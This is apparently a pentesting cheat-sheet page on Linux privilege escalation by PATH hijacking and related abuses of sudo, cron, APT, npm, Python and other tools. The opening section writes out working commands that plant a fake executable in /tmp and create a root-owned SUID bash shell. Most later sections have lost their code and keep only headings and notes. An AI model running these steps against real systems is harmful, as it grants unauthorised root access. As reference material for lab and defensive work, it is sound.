Page cover
githubEdit

daggerHijacks

circle-info

When a SUID binary calls an external command without using its absolute path (e.g., cat instead of /bin/cat), the system searches for the executable in directories listed in $PATH, in order. This allows an attacker to inject a malicious executable that gets executed with elevated privileges.

Identify the vulnerability:

  • Find a SUID binary that calls external commands

  • Use strings or ltrace to check if commands are called without absolute paths

Check current PATH:

Check $PATH
echo $PATH

Hijack the PATH:

Prepend a writable directory to $PATH
export PATH=/tmp:$PATH

Create malicious executable:

Use the same name as the command the binary calls
echo '#!/bin/bash' > /tmp/cat
echo 'id' >> /tmp/cat
chmod +x /tmp/cat

Escalate to root shell:

Create a SUID bash shell:
echo 'cp /bin/bash /tmp/rootshell; chown root:root /tmp/rootshell; chmod 4777 /tmp/rootshell' > /tmp/cat
Create a hijacked bash script
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/tokyo\nchown root:root /tmp/tokyo\nchmod 6777 /tmp/tokyo' | tee HIJACKED.sh
Launch the shell with -p flag to preserve privileges:
/tmp/rootshell -p
chevron-rightPath Hijacking interactive shellhashtag
circle-info

If there is a writable directory in the $PATH (e.g., /tmp or /home/user/) that is checked before system directories when running sudo, and an attacker can control the contents of this directory.

Copy bash to the writable directory:
cd /var/tmp && cp /bin/bash .
sudo -i
chevron-rightPath Hijacking phphashtag
circle-info

PHP File

chevron-rightPath Hijacking cronhashtag
  • When PATH includes /usr/local/bin before /usr/bin in the cron job's environment.

  • When a binary or script is executed without an absolute path.

  • bash drops SUID privileges by default, so make sure to run it with -p to keep root:

circle-info

PHP

circle-info

Reverse shell template

chevron-rightPath Hijacking supervisord.pidhashtag
  • Process management tool for keeping services running.

  • Each managed process must have a [program:<name>] line followed by another line command= where you should place the payload.

chevron-rightPath Hijacking Pythonhashtag
circle-info

Python prioritize modules within the vulnerable script's directory, so you could place the malicious module there

chevron-rightPath Hijacking doas hashtag
  • doas is a lightweight, simple command-line utility for running commands with elevated privileges on Unix-like systems, similar to sudo.

  • doas.conf have important information for privilege escalation:

chevron-rightPath Hijacking APThashtag
circle-info

Pre-Invoke

  • Create a malicious config file to be invoked before APT runs:

  • APT check this directory for pre-invoke scripts:

  • Just wait for listener.

chevron-rightPath Hijacking npmhashtag
  • A NodeJS package is defined in a file package.json, is possible to create a malicious package and run it with the --unsafe option to get code execution:

  • The malicious package.json needs to be contain within the fake package directory; once is all setup just run it with sudo:

chevron-rightdstatPlugin poisoninghashtag

Allows to run arbitrary pythonarrow-up-right scripts loaded as “external plugins” if they are located in one of the directories stated in the man page:

  • ~/.dstat/

  • (path of binary)/plugins/

  • /usr/share/dstat/

  • /usr/local/share/dstat

Normally to escalate privilege you want to choose the ones within the root path, check for writable permissions:

Create a malicious plugin:

Execute it with --PluginName:

chevron-rightPath Hijacking Composerhashtag
  • First create the temporal folder where you will invoke the shell from and save in an environmental variable:

  • Once is done, create the malicious script to feed composer:

  • Finally, just execute the script with it's in-build option:

chevron-rightPath Hijacking GitPythonhashtag
circle-info

CVE-2022-24439

  • Inadequate validation of user input when handling remote URLs passed to the clone command:

chevron-rightPath Hijacking Moshhashtag

if It's possible to use /usr/bin/mosh-server with sudo privileges

chevron-rightPath Hijacking tcpdumbhashtag

There is a GTFOBinarrow-up-right entry for tcpdump

Now, looking at the /tmp folder, we see that we have successfully created a copy of /bin/bash as /tmp/bash_root

chevron-rightPath Hijacking initctlhashtag
  • If is possible to use initclt with sudo and write Service Configuration Files you could create and start malicious services.

circle-info

Malicious Service Configuration

Then, just trigger the event:

Last updated